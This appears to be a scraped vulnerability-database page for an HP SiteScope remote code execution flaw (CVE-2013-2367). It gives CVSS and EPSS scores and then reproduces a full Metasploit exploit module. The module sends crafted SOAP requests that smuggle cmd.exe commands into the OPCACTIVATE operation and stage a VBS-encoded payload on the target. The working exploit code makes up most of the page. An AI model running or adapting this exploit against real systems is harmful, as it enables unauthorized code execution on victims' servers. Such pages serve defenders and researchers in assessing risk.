CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple unspecified vulnerabilities in HP SiteScope 11.20 and 11.21, when SOAP is used, allow remote attackers to execute arbitrary code via unknown vectors, aka ZDI-CAN-1678.
CVE Informations
Related Weaknesses
CWE-ID
Weakness Name
Source
CWE Other
No informations.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
84.58%
–
–
2022-07-03
–
–
85.87%
–
–
2023-03-12
–
–
–
97.15%
–
2023-04-30
–
–
–
96.94%
–
2023-06-18
–
–
–
97.03%
–
2023-07-30
–
–
–
95.95%
–
2023-09-17
–
–
–
95.21%
–
2023-11-05
–
–
–
96.78%
–
2023-12-24
–
–
–
96.79%
–
2024-02-11
–
–
–
94.35%
–
2024-03-17
–
–
–
94.31%
–
2024-03-31
–
–
–
94.56%
–
2024-04-14
–
–
–
94.95%
–
2024-06-02
–
–
–
94.79%
–
2024-06-23
–
–
–
94.63%
–
2024-08-11
–
–
–
94.46%
–
2024-09-22
–
–
–
96.29%
–
2024-10-27
–
–
–
96.48%
–
2024-12-22
–
–
–
96.96%
–
2024-12-29
–
–
–
96.5%
–
2025-03-02
–
–
–
96.83%
–
2025-01-19
–
–
–
96.5%
–
2025-03-09
–
–
–
96.83%
–
2025-03-18
–
–
–
–
82.09%
2025-03-18
–
–
–
–
82.09,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope.
The vulnerability exists on the opcactivate.vbs script, which
is reachable from the APIBSMIntegrationImpl AXIS service, and
uses WScript.Shell.run() to execute cmd.exe with user provided
data. Note which the opcactivate.vbs component is installed
with the (optional) HP Operations Agent component. The module
has been tested successfully on HP SiteScope 11.20 (with HP
Operations Agent) over Windows 2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2367'],
[ 'OSVDB', '95824' ],
[ 'BID', '61506' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
},
'DisclosureDate' => 'Jul 29 2013'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end
def uri
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
return uri
end
def check
op = rand_text_alpha(8 + rand(10))
key = rand_text_alpha(8 + rand(10))
value = rand_text_alpha(8 + rand(10))
res = send_soap_request(op, key, value)
if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Delivering payload...")
# The path to the injection is something like:
# * Java exec => cscript => WScript.Shell => cmd.exe (injection happens)
# Empirically has been tested a 1500 value for :linemax makes it work
# reliable
execute_cmdstager({:linemax => 1500})
end
def get_vbs_string(str)
vbs_str = ""
str.each_byte { |b|
vbs_str << "Chr(#{b})+"
}
return vbs_str.chomp("+")
end
# Make the modifications required to the specific encoder
# This exploit uses an specific encoder because quotes (")
# aren't allowed when injecting commands
def execute_cmdstager_begin(opts)
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
decoded_file = "#{var_decoded}.exe"
encoded_file = "#{var_encoded}.b64"
@cmd_list.each { |command|
# Because the exploit kills cscript processes to speed up and reliability
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
}
end
def execute_command(cmd, opts={})
# HTML Encode '&' character
# taskkill allows to kill the cscript process which is triggering the
# different operations performed by the OPACTIVATE command. It speeds
# up exploitation and improves reliability (some processes launched can die
# due to the fake activation). But this line also will kill other cscript
# legit processes which could be running on the target host. Because of it
# the exploit has a Manual ranking
command = ""127.0.0.1 && "
command << cmd.gsub(/&/, "&")
command << " && taskkill /F /IM cscript.exe ""
res = send_soap_request("OPCACTIVATE", "omHost", command)
if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/
fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...")
end
end
def send_soap_request(op, key, value)
data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
data << "xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:api=\"http://Api.freshtech.COM\">"
data << "<soapenv:Header/>"
data << "<soapenv:Body>"
data << "<api:runOMAgentCommand soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data << "<in0 xsi:type=\"x-:Map\" xmlns:x-=\"http://xml.apache.org/xml-soap\">"
data << "<item xsi:type=\"x-:mapItem\">"
data << "<key xsi:type=\"xsd:string\">#{key}</key>"
data << "<value xsi:type=\"xsd:string\">#{value}</value>"
data << "</item>"
data << "</in0>"
data << "<in1 xsi:type=\"xsd:string\">#{op}</in1>"
data << "</api:runOMAgentCommand>"
data << "</soapenv:Body>"
data << "</soapenv:Envelope>"
res = send_request_cgi({
'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""'
}
})
return res
end
end